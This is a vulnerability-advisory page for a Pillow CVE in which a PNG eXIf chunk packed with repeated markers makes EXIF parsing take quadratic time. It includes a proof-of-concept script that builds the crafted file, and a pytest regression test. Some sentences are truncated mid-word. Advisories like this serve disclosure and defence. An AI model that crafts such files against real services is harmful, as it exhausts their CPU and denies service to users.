CVE-2026-96643: Pillow · PNG eXIf chunk makes EXIF parsing run in quadratic time
Affects aiderSource GCVE Database
Not known to be exploited · CVSS 7.1 High.
Data as of 30 Oct 2026, 07:30 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 4.0 | 7.1 |
|---|
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 21 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewaiderpkg:brew/aiderOther threats | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay. ### Details `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this: ```python while data and data.startswith(b"Exif\x00\x00"): data = data[6:] ``` Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem. `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info["exif"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap. If the eXIf chunk is filled with repeated `Exif\x00\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug. ### Steps to reproduce This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed. ```python import time from io import BytesIO from PIL import Image, PngImagePlugin def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue() MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND") marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers data = MAGIC + IHDR + exif_chunk + IDAT + IEND start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds") ``` Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size. Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear. A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (>2.0s) from pytest-timeout`. ```python import pytest from io import BytesIO from PIL import Image, PngImagePlugin def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue() MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND") @pytest.mark.timeout(2) def test_exif_load_is_not_quadratic(): marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) data = MAGIC + IHDR + exif_chunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif() ``` ### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.
References
- github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-96643 (opens in a new tab)
- github.com/python-pillow/Pillow/pull/10073 (opens in a new tab)
- github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c (opens in a new tab)
- github.com/python-pillow/Pillow (opens in a new tab)
- github.com/python-pillow/Pillow/releases/tag/13.0.0 (opens in a new tab)